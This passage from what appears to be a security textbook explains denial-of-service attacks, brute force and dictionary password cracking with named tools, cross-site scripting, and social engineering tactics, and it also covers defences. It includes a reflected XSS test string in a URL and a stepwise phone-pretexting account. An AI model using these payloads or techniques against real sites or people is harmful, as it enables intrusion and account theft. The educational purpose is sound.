network segments, network devices, the server, and the application 
hosting the service itself. The conditions necessary to cause a DoS 
at each of these points differ, but all result in a disruption in activity 
between the client and server.

A network can only send and receive a certain amount of data at 
one time. Any data sent that exceeds a network’s bandwidth will not 
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make it to its destination. One form of DoS occurs when an attacker 
sends so much traffic to the target that it consumes all of the available 
bandwidth. In this situation, most requests cannot make it to their 
intended destinations, which results in a DoS for legitimate clients. 
Exhibit 3-24 shows an attacker consuming the network bandwidth 
and denying access to other users.

To consume the available bandwidth of a target, an attacker uses 
a technique known as flooding. Flooding describes the overwhelm-
ing traffic used to saturate network communications. Attackers use 
communication protocols such as User Datagram Protocol (UDP), 
Internet Control Message Protocol (ICMP), and Transmission 
Control Protocol (TCP) to inundate the target with network traffic.

A similar method to cause a DoS condition starves the resources 
of network devices. Overutilization of system resources, such as 
central processing unit (CPU), memory, or data structures stored in 
memory, can cause system failure. System failure of a network device, 
such as a firewall, router, or switch, has devastating results because it 
causes network traffic congestion resulting in performance degrada-
tion or an outage.

A particularly effective DoS attack on network device resources is 
a SYN Flood. A SYN Flood describes the rapid transmission of TCP 
SYN packets to a target to initiate the three-way TCP handshake to 
create a session. The attacker initiates the TCP handshake by send-
ing SYN packets to the target but does not acknowledge the target’s 
synchronize and acknowledgment (SYN/ACK) packets. The network 
device awaits the ACK that the attacker never sends, which creates 
half-open sessions that the network device stores in a connection 
table. Eventually, the network device purges the half-open sessions 

Legimate
Request

Target Server

User

Attacker

User Legimate
Request

Available BandwidthDoS Traffic

Exhibit 3-24 A bandwidth-consuming denial of service (DoS) attack.
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after a timeout period, but if the attacker can fill the device’s connec-
tion table, then the device ignores all further legitimate attempts to 
create a TCP session.

Resource-starving DoS conditions do not just plague network 
devices. The servers themselves are prone to resource starvation, lim-
iting their ability to process requests. A server using 100 percent of its 
CPU will have trouble responding to inbound requests. For example, 
an attacker using the DoS technique called Slowloris sends HTTP 
GET requests with partial HTTP headers to an Apache Web server. 
The Apache Web server will wait for the attacker to send the rest of 
the HTTP header. The attacker never sends the complete HTTP 
header, just arbitrary header fields to avoid timing out and to keep 
the Web server waiting. Using this technique, an attacker can con-
sume all available threads on the Apache Web server, resulting in a 
DoS condition.33

To saturate network bandwidth or to starve a system’s resources 
successfully, it is beneficial for an attack to have more resources than 
the target does. To gain more resources than the target, attackers tend 
to gather distributed resources and coordinate an attack called a dis-
tributed denial of service (DDoS). The distributed systems join forces 
and attack simultaneously to overwhelm the target. The prevalence 
of botnets across the Internet makes DDoS a reality, as bots within 
these botnets can focus an attack on a target with devastating results. 
For example, if a botnet initiates a DDoS attack against a target with 
2,000 bots each with 2 Mbps of upstream bandwidth, it can saturate 
a large network with a combined 4 Gbps of network traffic.

Another option to overwhelm a target’s resources becomes available 
through amplification, which involves using techniques to magnify 
the effect of and attack beyond the capabilities of the attacker’s lim-
ited resources. The amplification helps the attacker use more resources 
than are ordinarily readily available to them. Typically accomplished 
by using a technique called reflection, the attacker spoofs the IP 
address of requests to the intermediary system, called a reflector, which 
sends responses back to the spoofed IP address. The responses to the 
spoofed IP address can flood the system at that address, which is the 
target of the attack.

A domain name system (DNS) amplification attack exemplifies this 
technique and takes advantage of the size difference between DNS 
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query packets and DNS answer packets. An attacker spoofs the source 
IP address within DNS query packets sent to recursive DNS servers. 
The DNS servers act as a reflector by replying with DNS answer pack-
ets to the target. The answer packets generally are many times larger 
than the initial query packet, resulting in a successful amplification 
of the attacker’s traffic. For more information on this form of attack, 
refer to the “State of the Hack” article entitled “iDefense Explains 
Domain Name System (DNS) Amplification Attacks.”

In addition to resource starvation, DoS conditions can occur as a 
by-product of vulnerability exploitation. A server or service suscepti-
ble to vulnerabilities, such as buffer overflows and format string over-
flows, can hang or crash in the event of a successful exploitation. Once 
crashed or in a hung state, the server or service can no longer carry out 
its responsibilities, resulting in a DoS condition.

Other DoS conditions stem from the configuration of a service or 
server. Not only do improper configurations present DoS opportu-
nities, but also even legitimate or proper configurations can block a 
client from interacting with a service. For example, an account lock-
out feature in Microsoft Active Directory could deny a user from 
accessing the network domain if a password brute force attack exceeds 
the configured maximum number of allowed logon attempts. The 
Conficker worm was notorious for locking out user accounts during 
its propagation when it attempted to brute force the passwords to net-
work shares.

Configuration changes can also be the cause of a DoS. Unintentional 
DoS can occur from the side effects of network configuration 
changes. A well-known example of such an erroneous configuration 
change occurred in 2008 when the popular video website YouTube.
com experienced a DoS. The YouTube DoS occurred as the result 
of Pakistan Telecom attempting to block its customers from visiting 
the website. Pakistan Telecom broadcasted via the Border Gateway 
Protocol (BGP), the protocol used to set up routes between routers 
on the Internet, that it was the destination for YouTube’s IP range. 
This caused routers worldwide to send traffic destined for YouTube 
to Pakistan Telecom.34 This resulted in a DoS of YouTube, as visitors 
around the world were unable to reach the website.

The variety of different types of DoS attacks and the multiple loca-
tions where they can occur make a complete DoS prevention package 
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impractical; however, certain safeguards can reduce the chances of 
suffering from a DoS condition. Addressing DoS situations requires 
security safeguards, detection, and adequate response planning.

Security safeguards start with the patching of systems, which 
reduces the known vulnerabilities that can potentially cause a DoS 
through exploitation. This does not protect against zero-day and 
unknown vulnerabilities, but an up-to-date system is less likely to fall 
victim to a DoS vulnerability.

The common network-level safeguards using security devices can 
reduce DoS attempts by filtering out erroneous traffic at edge routers 
and firewalls. Many vendors offer DoS protection features built into 
their products. Access control lists (ACLs) and rate-limiting rules can 
immediately address DoS activity by blocking unwanted and flood-
ing traffic. Using a network device with antispoofing functionality, 
such as Unicast Reverse Path Forwarding (uRPF), can reduce net-
work DoS conditions, as the device verifies the validity of a source IP 
address and discards the traffic if the source IP address is not valid or 
is spoofed.

DoS detection requires monitoring of network traffic patterns and the 
health of devices. Intrusion detection or prevention systems, Netflows, 
and other network traffic logs can provide an indication of DoS condi-
tions in the event of an increase in network activity or alerts. Monitoring 
the health of devices can also detect if a DoS is underway. If a system’s 
available resources, whether they are memory, CPU utilization, and/or 
another resource, reach a critical level of utilization, then the cause of 
such exhaustion needs mitigation to avoid a DoS condition.

One of the most overlooked DoS prevention requirements is ade-
quate response procedures. Planning response procedures will reduce 
the impact and outage caused by a DoS. DoS protection services are 
beginning to surface, including VeriSign’s DDoS Monitoring and 
Mitigation35 services. VeriSign monitors traffic destined for its cus-
tomers’ networks for DDoS characteristics and provides mitigation by 
filtering out the DDoS traffic.

Response planning should also include in-house procedures on 
involving the appropriate resources to mitigate the cause of the issue. 
Administrators and service providers need to understand that their 
involvement and processes are required to stop the activity causing a 
DoS. These processes vary depending on the specific situation or attack, 
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but they range from the service provider creating upstream ACL rules 
or black holing source networks via BGP routes, to a systems adminis-
trator replacing a server with a hot spare to mitigate a DoS.

Every day, DoS attacks cause outages across the Internet. The 
increase of botnet prevalence and release of application vulner-
abilities make DoS incidents inevitable. DoS conditions spawn 
from everything from unintentional actions such as configuration 
changes, to intentional motives, to attacks on opposing political 
groups or competition, or they can act as a decoy for other malicious 
intentions. Regardless of the cause of the outage, careful planning 
can reduce the impact of such an outage and minimize the financial 
losses involved.

3.1.10 Brute Force and Dictionary Attacks

A password-based authentication system is only as good as its 
underlying passwords. When attackers use brute force attacks and 
dictionary attacks against these systems, these passwords may prove 
to be insufficient. In this section, we will explain these two types of 
high-level attacks commonly used against password-based authen-
tication systems.

Authentication systems that depend on passwords to determine 
the authenticity of a user are only as strong as the passwords on 
which they rely. Most system administrators understand this simple 
fact and require users to use sufficiently long and complex passwords. 
While this may reduce the probability of an attacker quickly guess-
ing a user’s password, the fact remains that password-only systems 
are vulnerable to two very well-known attacks: brute force attacks 
and dictionary attacks.

Attackers can and have used brute force attacks and dictionary 
attacks against a variety of cryptographic and authentication sys-
tems. It is space prohibitive to explain how these attacks work against 
the wide variety of cryptographic and authentication systems. This 
article focuses primarily on the attacks as they pertain to the generic 
model of a password- or passphrase-based authentication system. This 
generic authentication system uses some form of text-based password 
or passphrase string in combination with a username or some other 
form of identifier to authenticate the identity of the user. The use of a 
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text-based password allows the authentication system to compare the 
supplied text against the value previously set for the given username.

When dealing with the password component of the authentication 
system, it is not uncommon for the system to store the password in 
an encrypted or hashed form. The logic behind this dictates that if 
an attacker compromises the username and password database, the 
attacker will be unable to immediately use the passwords without first 
recovering the passwords using the inverse (if applicable) function 
of the password encryption system. In the case in which the system 
stores the passwords as a hash of the text string, no inverse function 
will exist, restricting the options available to the attacker who has the 
hash value of the text password. These options, as explained later, are 
limited to brute force and dictionary attacks.

Users, generally speaking, default to the simplest passwords they 
can use that still conform to the password standards set by the system 
administrators. As a result, the majority of users select a password 
based on a common word or phrase that the user can remember or 
that has some significant meaning to the user. Attackers capitalize on 
this fact by using password dictionaries.

Password dictionaries, sometimes referred to as word lists,36 are 
compilations of known words and known variations on these words 
that users may use as passwords. These variations can include charac-
ter substitutions (e.g., changing 1’s to i’s or l’s and vice versa), inter-
jecting words from nonnative languages, and combining words into 
phrases. These password dictionaries are typically flat-text files with 
one password per line. Attacks can apply these passwords in a system-
atic way to the authentication system using a known username to find 
the correct password associated with the username.

When dealing with authentication systems that allow largely lan-
guage-based passwords (passwords that conform to a given spoken 
language, such as English, French, or Russian, and do not contain a 
significantly high number of nonalphanumeric characters), a suitably 
large password dictionary can have a high degree of success against 
common passwords.

Dictionary attacks, like most attacks against unknown password-
based authentication systems, can be slow when attempting to probe 
the authentication system one password at a time. When an attacker 
accesses the authentication system in question over the Internet, 
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network delays and delays in the authentication system itself can 
severely reduce the speed at which an attack can occur; however, when 
an attacker is able to obtain the username–password database, offline 
dictionary attacks can be highly effective in a short period. Tools such 
as pwdump37 allow attackers to obtain the hashes for Windows pass-
words when an account with suitable privileges uses the tool. These 
hashes (known as NT LAN Manager [NTLM] hashes) are not 
directly reversible, but the security community knows the algorithm 
used to generate them. As a result, by using a suitable dictionary and 
the known algorithm, it is possible for an attacker to quickly iterate 
through the password dictionary to find the password that matches a 
given hash.

For any given user, there is no guarantee that the dictionary will 
contain the password. When the user selects a suitably random pass-
word, such as @fA09wR&$xZQ, the probability of a dictionary con-
taining such an entry is exceedingly slim. That said, and as mentioned 
previously, it is rare for a typical user to use such a random password 
because such passwords are difficult to remember. When an attacker 
has compromised the username and password database, and when the 
attacker has suitable hard drive space, an attacker can make a time–
space trade-off using rainbow tables.

While not exactly a password dictionary, a rainbow table contains 
precomputed hashed passwords that allow an attacker to quickly locate 
the hash of a user’s password in the tables to relate this to the original 
text password. An explanation of how an attacker generates rainbow 
tables and how the rainbow tables work is beyond the scope of this 
book, but readers can generalize the concept as a simple array of pass-
words addressed by their hash values. Rainbow tables are specific to 
the algorithm used by the authentication system (such as the NTLM 
hashes or message-digest algorithm 5 [MD5] hashes) and can be very 
large. Generally, attackers generate rainbow tables using a brute force 
approach to password generation, but it is possible for an attacker to 
generate rainbow tables from a password dictionary. In any case, the 
generation process is extremely time consuming and computationally 
expensive. Websites offer a wide variety of rainbow tables for various 
authentication systems for free38 or for a small fee.39

Brute force attacks work on the principle that, given enough time, an 
attacker can find any password regardless of its length or complexity. 
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Brute force attacks against password-based authentication systems 
require the attacker to establish the set of letters, numbers, and sym-
bols (known as the character space or key space) that are permissible for 
any password. The smaller the valid character set, the less time it will 
take to complete a brute force attack.

Once the attacker establishes the character set, hereby referred 
to simply as the set, the attacker generates a password by iterating 
through the set one character at a time. The attack starts by taking 
the first character in the set and using that as the password. Much the 
same way that an attacker tests for a valid password using a dictionary 
attack, the attacker enters the generated password in the authentica-
tion system to determine if the password is valid for the given user. 
If the password is incorrect, the attacker tries the next permutation 
from the given set and tests the password against the authentication 
system. The attacker repeats the process until he or she locates a cor-
rect password. Exhibit 3-25 explains the output of this process where 
the character set is only the numbers 1 through 4.

Brute forcing is a time-consuming process for a sufficiently com-
plex password and a large character set. The maximum number of 
iterations required to find a password depends on two factors: the 
size of the character set and the maximum size of the password. 
Mathematically, it is possible to calculate the number of iterations by 
taking the number of entries in the character set and raising it to the 
power of the maximum length of the password. Exhibit 3-26 illus-
trates this as an equation. Furthermore, to determine the maximum 
amount of time required to find a given password using a brute force 
attack, it is necessary to multiply the maximum number of iterations 
against the time required for a single check (assuming that the time 
required does not vary as the length of the password increases). The 

1 13 . 114
2 14 . 121
3 21 44 122
4 22 111 .
11 23 112 .
12 24 113 (and so on)

Exhibit 3-25 The brute force generation of passwords for the character set 1–4.
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second part of Exhibit 3-26 depicts the generalized mathematical for-
mula for determining the maximum amount of time required to brute 
force a password of a given length.

3.1.10.1 Attack To clearly illustrate the amount of time required to 
brute force a password of sufficient complexity, given a character set 
defined as abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(), 
which has a character set size of forty-six characters and a maxi-
mum password length of eight characters, the maximum number of 
iterations required to fully exhaust the character set for the password 
length would be roughly 20 quadrillion iterations, or:

 20,047,612,231,936 = 468

If the authentication system took one-half of a second per password 
supplied to indicate the validity of a password and if the password 
was “))))))))”, it would take the attacker roughly 10 quadrillion seconds 
to find the password. Ten quadrillion seconds is the equivalent of 
317,852.8 years. Such a long time renders the password “unbreakable” 
since the length of the attack outlasts the usefulness of the informa-
tion under attack.

On the other hand, if the number of iterations per second was sig-
nificantly higher as would typically be the case in an offline attack, 
the same password may no longer be unbreakable. For instance, using 
a tool such as John the Ripper40 on a 2 GHz Xeon virtual machine 
image, it is possible to brute force 5,000 passwords per second. Using 
the same character set and password length as defined previously, it 

 f  (c, l  ) = cl

where c is the character set size and l is the maximum length 
of the password

 g (c, l, t) = t · f  (c, l)

where t is the time (in seconds) to perform a single password 
validity test

Exhibit 3-26 Formulas to determine the maximum size and time required for a brute force 
attack.
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would take approximately 4 billion seconds, or 127 years. By using 
a dedicated workstation and optimizing the application to run on 
multiple processors at the same time, it is possible to increase the 
passwords-per-second value to four times the speed, giving a rate of 
20,000 passwords per second. At this rate, to brute force the entire 
password space would take approximately 1 billion seconds, or thirty-
one years. While still conceivably too long for the password to be 
useful, the fact remains that given sufficient power processing, an 
attacker can sharply reduce the time required for brute force password 
attacks to be successful. Using 100 Amazon EC2 virtual images and 
splitting the total iteration count across the 100 servers, if each image 
were capable of performing 5,000 iterations per second, the effective 
iteration rate would be 500,000. This would reduce the time to find 
the same “))))))))” password to approximately 40 million seconds, or 
1.27 years.

A variety of tools are available on the Internet that perform brute 
force, dictionary, and rainbow table attacks. Exhibit 3-27 identifies 
some common tools and the types of attacks they perform.

When attempting to brute force a password, it is extremely impor-
tant to reduce the time required per iteration to make the attack effec-
tive. For this reason, offline attacks against username and password 

TOOL TARGET
DICTIONARY 

ATTACK
RAINBOW 

TABLE
BRUTE-FORCE 

ATTACK

OFFLINE OR 
ONLINE 
MODE

John the Ripper Password hashes 
(MD5, SHA1, 
NTLM, etc)

Yes No Yes Offline

Ophcrack NTLM Hashes No Yes No Offline

Cain and Able NTLM Hashes, 
WEP, MD5, 
SHA1, MySQL, 
MSSQL, etc

Yes Yes Yes Online and 
Offline

Crowbar Web 
authentication

Yes No Yes Online

L0phtCrack NTLM Hashes, 
UNIX passwd 
Files

Yes No Yes Offline

passcracking.com MD5 Hashes Yes Yes No Offline

Exhibit 3-27 Common password attack tools.
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databases are more suitable for brute force attacks than using a live 
authentication system, since many authentication systems purposely 
introduce delays.

Brute force attacks against live systems are clumsy and time con-
suming. Authentication systems can further hamper their effectiveness 
by introducing delays between authentication attempts. The higher 
the delay, the more time it will take to find a successful password.

When an attacker performs an attack against a live authentication 
system, the authentication system should restrict the number of logon 
attempts by a single user in a short period. Typically, system admin-
istrators use a threshold value of six or fewer logon attempts within 
10–30 minutes before locking an account. This allows legitimate users 
the luxury of mistyping their password a few times but prevents dic-
tionary and brute force attacks from rapidly trying passwords to com-
promise an account.

The system administrators design the complexity requirements for 
passwords to frustrate both dictionary and brute force attacks. By 
increasing the character space to include nonalphabetic characters 
and requiring passwords to be at least six characters long, administra-
tors exponentially increase the amount of time required to brute force 
a password. Exhibit 3-28 compares the various size and complexity 
versus the maximum brute force iteration requirements. These same 
complexities can hamper the effectiveness of a password dictionary by 
moving the valid password design to a more random or complex word 
structure that may not typically exist in a password dictionary.

When an attacker obtains a username and password database, the 
only defense a system administrator has against an offline dictionary 
or brute-forcing attack is the complexity of the password construction. 
It is important that system administrators enforce sufficient password 
construction complexity rules. To prevent successful rainbow table 
attacks against an offline database, authentication system designers 
use salt values.

Salts are random characters added to the beginning of a supplied 
text password prior to the hash generation. By using a salt value, 
authentication systems can store the same password multiple times in 
a username and password database with different hash values for each 
user and salt. The salt is typically a multibyte value that is stored in the 
username and password data in plaintext for the authentication system 
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to hash the supplied password properly for comparison. The use of the 
salt increases the size of the possible password length exponentially, 
resulting in a significantly higher space requirement for rainbow tables. 
For instance, using an 8-byte salt would increase the size requirements 
for a rainbow table by 264 (18,446,744,073,709,551,616) times; how-
ever, the salt has little effect on dictionary and brute force attacks since 
the salt is typically available in the username and password database, 
therefore allowing the attacker to add the value as a static string.

It is worth noting that it is not necessarily better to include nonal-
phabetic characters with shorter lengths than it is to require only 
alphabetic characters with a longer length. For example, and as illus-
trated in Exhibit 3-28, it takes 100 times more iterations to find an 
eight-character password made up of a character set containing a 
through z than it does to find a six-character password made up of a 
character set containing a through z and 0 through 9. Companies can 
also find the trade-off of using a more complex character set on yellow 
Post-It notes attached to users’ monitors.

3.2 Misdirection, Reconnaissance, and Disruption Methods

3.2.1 Cross-Site Scripting (XSS)

Improper input validation can allow an attacker to execute malicious 
scripts on Web pages with the same level of access as legitimately 

CHARACTER SET
PASSWORD 

LENGTH
MAXIMUM BRUTE-
FORCE ITERATIONS

abcdefghijklmnopqrstuvwxyz 8 208,827,064,576

abcdefghijklmnopqrstuvwxyz0123456789 6 2,176,782,336

abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*() 5 205,962,976

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
PQRSTUVWXYZ0123456789!@#$%^&*()

4 26,873,856

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
PQRSTUVWXYZ0123456789!@#$%^&*()

6 139,314,069,504

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
PQRSTUVWXYZ0123456789!@#$%^&*()

8 722,204,136,308,736

Exhibit 3-28 Maximum brute force iterations for various character sets and password lengths.
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included scripts. Used to access form variables and take actions on 
behalf of the user, cross-site scripting (XSS) attacks are the most 
commonly present and widely exploited type of vulnerability.

As the popularity of Web applications has grown in recent years, 
reports of one Web-based programming error, the XSS vulnerabil-
ity, has grown in kind. In 2008, the National Vulnerability Database 
(NVD) recorded 806 XSS flaws, accounting for more than 14 percent 
of all new vulnerabilities.41 The website xssed.com tracks thousands 
of XSS errors, many of which remain unfixed for months or years.42 
Despite its prevalence, many users and programmers do not under-
stand how XSS attacks work or how to defend against them.

Shortly after Netscape developed JavaScript to allow program-
mers to create more dynamic Web pages, the name cross-site script-
ing was coined to describe a vulnerability it introduced. At the time, 
when two pages from different websites loaded next to each other 
in a browser (in a frame or separate window), JavaScript from one 
site could “cross” the boundary to read or modify the page from the 
other site.43 To resolve this problem, Netscape implemented the same-
origin policy with the release of Netscape 2.0 in 1996.44 As shown in 
Exhibit 3-29, the same-origin policy prevents documents from one 
origin (example1.com) from reading or modifying documents from a 
different origin (example2.com).

All major Web browsers now implement the same-origin policy, 
and while it is effective, Web programmers can still leave their appli-
cations open to this type of attack through sloppy coding. The term 
XSS now refers to attacks that attempt to sidestep the same-origin 

example1.com

http://example1.com

example2.com

Exhibit 3-29 Prior to the same-origin policy, one website could alter another when loaded in the 
same browser.
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policy by causing malicious script code to run within the context of 
the original site and therefore with the “same origin.”

Like many common vulnerabilities, XSS flaws are essentially input 
validation errors. For an XSS attack to occur, a website must accept 
input from an untrusted source, such as a Web request, and serve the 
submitted input on a Web page. The infected page may be served to 
the same user, such as in the case of a search engine, or to any user, 
such as in the case of a blog’s comment form. If the website fails to 
sanitize the input, the browser will execute the malicious script.

For example, a search engine must accept input from visitors to 
determine what the user is looking for. This information is often 
passed to the Web application through a URL parameter. URL 
parameters are key–value pairs appended to the end of a URL that 
the Web application can use to generate dynamic content. In the fol-
lowing example, the “query” variable is set to the value puppies.

http://example.com/search?query=puppies

The search engine takes this value, searches its database for pages 
containing the word puppies, and returns a result page like that shown 
in Exhibit 3-30. If the search engine does not properly sanitize the 
user’s input before displaying it, that input could alter the page in 
ways the developer did not intend. Rather than inputting a real 
search query, a user might enter JavaScript code that causes the page 
to show an alert that the query returns (e.g., http://example.com/
search?query= ><SCRIPT>alert(“XSS!”)</SCRIPT><).

http://example1.com/search?query=puppies

Puppies, Cute Puppy Names, Pictures of Puppies & More | Daily Puppy
Find cute puppy pictures and videos. Learn how to care for and train puppies. Submit
your puppy to be the daily puppy, create profiles for you and your dogs ...
Pupfolio - Dogs - Dog Forums - Gucci the Bernese Mountain Dog
www.dailypuppy.com/ - Cached - Similar

Puppies for Sale, Dogs for Sale and Dog Breeders
Directory of dog breeds and breeders with puppies for sale and dogs for adoption, Find
the right breed, and the perfect puppy at PuppyFind.com.
Member Login - Find a Puppy - Pomeranian - Great Dane
www.puppyfind.com/ - Cached - Similar

Puppies for Sale, Dogs for Sale
Mar 24, 2010 ... AKC dogs for sale, AKC puppies for sale from area dog breeders. Find a
puppy for sale, dogs for sale at Next Day Pets.

32,500,000 results for puppies

Exhibit 3-30 A search engine displays the result of a user’s query.
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The vulnerable search engine queries for the malicious string and 
then returns it to the user along with the results. Rather than display-
ing the query text to the user, the browser generates an alert box con-
taining the text “XSS!” demonstrating that code passed by the URL 
was executed (see Exhibit 3-31).

At first glance, this vulnerability does not appear to be very dan-
gerous, as the user entered the text that caused the code to execute; 
however, attackers often craft malicious links containing the mali-
cious script code, distribute these malicious links via e-mail, or post 
them to message boards and simply wait for users to click them.

Using XSS, attackers can steal information from a victim’s browser 
related to the vulnerable page. If the vulnerability exists in a bank-
ing application, the attacker could retrieve account balances and other 
private information from the page and send it off to his or her own 
server. XSS also enables attackers to take actions on behalf of victims. 
For instance, given a vulnerable Web-based e-mail application, the 
attacker could send e-mails from a victim’s account or forward e-mails 
containing sensitive information. Attackers can also steal the authen-
tication cookie for a vulnerable site and later use that cookie to log on, 
thereby negating the need to steal the user’s credentials.

XSS attacks such as the one described above are known as nonper-
sistent, reflected, or Type-1 attacks because they only alter the page 
once, when the victim visits the specially crafted URL. Persistent XSS 
vulnerabilities are less common but much more dangerous. When 
attackers exploit a persistent XSS vulnerability, they make changes to 

http://example1.com/search?query=><SCRIPT>alert

206,000 results for

JavaScript

XXS!

OK

Exhibit 3-31 A vulnerable site executes JavaScript code rather than displaying the query.
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the page content that are stored in a database, which then affects every 
subsequent user who visits the page.

Many Web applications allow users to submit content that is stored 
in a database and later displayed to other users. For instance, the com-
ment section of a blog application takes all comments and stores them 
in a database table associated with the blog entry. The application then 
selects these comments from the database and displays them when 
a visitor views the associated blog entry. If the application does not 
properly sanitize these entries, each subsequent visitor will execute the 
attacker’s code in his or her browser.

Persistent XSS flaws are very similar to another input validation 
error, SQL injection,45 in that both vulnerabilities allow the attacker 
to make persistent changes to a Web application and are predicated on 
improper input validation. One possible outcome of XSS is a type of 
Web worm that infects a user’s Web pages (such as profiles or social-
networking pages) instead of his or her computer.

On April 11, 2009, an XSS-based worm began spreading on the 
popular microblogging website Twitter.46 A vulnerability in the 
Twitter code allowed an attacker to include a <script> tag in a profile 
page that linked to a JavaScript file hosted on a computer controlled 
by the attacker. When visitors viewed this page, their browser loaded 
this file and executed it. The content of this script took advantage of 
the fact that Twitter users visit the page while already signed into 
their Twitter accounts. The script updated the users’ profiles to include 
the same malicious <script> tag, which could then infect visitors to 
the new user profile. The script also “tweeted” a message advertising 
www.StalkDaily.com, a Twitter competitor. This behavior allowed 
the messages and malicious code to spread quickly from account to 
account while advertising the attacker’s website. As shown in Exhibit 
3-32, when the B and C users visit the A user’s infected profile, the 
malicious code immediately infects their profiles. Later, when the AB 
user visits the C user’s profile, his profile also becomes infected, and 
so forth.

Users can mitigate the threat from XSS attacks by using mod-
ern browsers with XSS filter technologies. Internet Explorer (IE) 8 
includes a filter that prevents reflected XSS attacks when it detects 
them. IE users who cannot upgrade should make use of security zones 
to prevent scripts from nontrusted websites from running.
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Firefox users can install the no-script plug-in, which also contains 
an XSS filter. No-script also allows the user to specify which sites they 
trust to run JavaScript code but denies nontrusted sites by default.

Web application developers should be careful to ensure their 
programs are not vulnerable to XSS attacks. The key to prevent-
ing XSS is treating all users’ input as suspicious and sanitizing it 
before returning it with other dynamic content; however, this task is 
more difficult than it appears. The Open Web Application Security 
Project (OWASP) has created a cheat sheet that shows the many 
ways malicious actors can launch XSS attacks and how to defend 
against them.47

XSS is not only the most common Web vulnerability but also the 
most common vulnerability class overall.48 While the impact may not 
seem as severe as that of the venerable buffer overflow, attackers fre-
quently exploit XSS vulnerabilities, often with severe consequences 
for the vulnerable site’s users.

3.2.2 Social Engineering

No matter how quickly an organization patches the latest zero-day 
vulnerability or how many security products it deploys, one major 
vulnerability remains in every system: the human being. Social engi-
neering is the art and science of attacking the human element of 
a system to gain sensitive information or access to restricted areas 
or systems. In this section, we explain the concepts behind social 
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Exhibit 3-32 A cross-site scripting (XSS) worm spreads between Twitter accounts via an XSS 
attack.
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engineering and how modern attackers use the technique to further 
their criminal operations.

While there are many definitions for social engineering, one of the 
most succinct and accurate describes the practice as a hacker’s clever 
manipulation of the natural human tendency to trust.49 Humans must 
trust each other every day to survive in the modern world. Each time 
a person drives a car, he or she places a little trust in the people who 
designed the vehicle and bolted it together and in every other driver 
he or she encounters. While some people (especially in the security 
industry) are skeptical of others, or even paranoid, people who have 
no trust in their fellow human beings could not function in a modern 
society. A clever attacker can abuse the natural human tendency to 
trust to convince people to do things that are not in their best inter-
ests. While testifying before Congress in 1995, Kevin Mitnick, one of 
the world’s most famous hackers and the author of The Art of Deception 
(see Exhibit 3-33), stated, “I was so successful in [social engineering] 
that I rarely had to resort to a technical attack.”50

One way for an attacker to build trust with a target is with infor-
mation—ideally, nonpublic information. In this context, nonpublic 
information is anything the target believes the public in general does 

Exhibit 3-33 The Art of Deception by Kevin Mitnick. (Mitnick, Kevin D. and William L. Simon; The 
Art of Deception. 2002. © Wiley–VCH Verlag GmbH & Co. KGaA. Reprorudced with permission.)
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not know. Whether or not this belief is true is irrelevant. People often 
use another person’s possession of nonpublic knowledge to make deci-
sions about their trustworthiness. For example, Bob is throwing a 
twenty-first birthday party for Alice with a large but limited guest 
list. Bob asks Walter to guard the door and gives him the guest list. 
Uninvited, Mallory might approach Walter while carrying a wrapped 
package and say, “Hi, I’m here for Alice’s birthday party, I’m not on 
the list but Bob told me you would let me in.” When deciding whether 
to let Mallory into the party, he will consider the fact that Mallory 
was carrying a gift, that the party was for Alice’s birthday, and that 
Bob was in charge of who attends the party. One could obtain all 
of the information Mallory provided by eavesdropping on a casual 
conversation. While nothing Mallory said gives her authorization to 
enter the party, Walter is likely to ignore the list and open the door.

Empathy is another weapon in the attacker’s trust-building tool-
kit. Most people feel bad when they see someone in trouble, but 
more importantly, they identify with them. By appearing in trouble 
and making it easy for an attacker’s target to help, that attacker can 
use human empathy to get what he or she wants. Consider an eleva-
tor controlled by an electronic badge system that prevents unau-
thorized users from entering the building’s secured floors—floors 
4–7. Mallory, an unauthorized user, enters the elevator carrying 
some heavy boxes at the same time that Bob, the authorized user, 
enters the elevator. Mallory casually says to Bob, “Can you hit 6 
for me?” While Bob has not verified that Mallory has access to the 
sixth floor and has no actual reason to trust her, he may press the 
button because he identifies with her situation and feels empathy 
for her.

Appealing to the target’s wants or needs is another effective social-
engineering technique. People are often willing to take imprudent 
actions that they think will result in a reward of some kind. In 2008, 
a survey of 576 British office workers found that almost 20 percent of 
people are willing to give up their logon and password for a piece of 
chocolate.51 Changing the prize to a ticket for a raffle offering a trip 
to Paris yielded more than 60 percent of the workers’ passwords. The 
same tactic also applies to targets who want to avoid pain or punish-
ment. Offering to carry someone’s heavy boxes may get an attacker 
through a door without authorization, or berating a low-paid help 
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desk employee over the phone could result in a cornucopia of valuable 
nonpublic information.

To be successful, attackers often need to use these tactics and oth-
ers to gain enough information and access to complete their tasks. In 
Ira Winkler’s 1997 book Corporate Espionage, he describes a social-
engineering penetration test he conducted completely by phone that 
gave him complete access to a corporation’s systems.52 They completed 
the task by using pieces of nonpublic information to gain the trust of 
humans in the company. Each piece of information gave them the 
ability to get slightly more information. Winkler gains the key pieces 
in the following order:

 1. An executive’s name and the company’s phone number (from 
an annual report and local phone book)

 2. An executive’s employee ID and cost center numbers (from 
the executive’s secretary)

 3. A company phone directory (by posing as the executive and 
using his or her cost center number)

 4. A list of fifty-five new employees (from the new-hire admin-
istration office by posing as a secretary of an angry executive 
who needed the list)

 5. The types of software and hardware used in the company 
(from new employees by posing as a security officer giving 
training to each new employee by phone)

 6. The phone numbers and passwords for modems on the com-
pany network (from new employees during the same security 
training call)

While the information in numbers five and six is sensitive on its 
own, the previous items are small enough that they do not appear to 
be a major threat to security. By using them together, Winkler was 
able to gain all of the information he needed to access the computer 
systems without ever stepping foot in the building.

While the examples above all target a specific individual or group, 
attackers can also use social engineering against large groups of peo-
ple. The best example of widespread social engineering is phishing. In 
a phishing scheme, the attacker sends an e-mail to at least one person 
(but more likely thousands) that asks the target(s) to reveal private 
information (passwords, credit card numbers, etc.). The success of a 
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phishing scheme relies on how cleverly the attacker can manipulate 
the target into trusting the content of the e-mail.

Using a bank’s logo and copying its website comprise one way to 
establish this trust. The target sees these pieces of information and uses 
them to judge the trustworthiness of the e-mail. Phishing schemes 
also often appeal to a user’s wants or needs by offering a prize for fill-
ing out a form or threatening to lock the target’s account if he or she 
does not comply with the e-mail’s instructions.

More targeted phishing schemes, known as whaling or spear-
phishing attacks, allow social engineers with additional knowledge to 
create convincing e-mails. Consider the e-mail template shown in 
Exhibit 3-34.

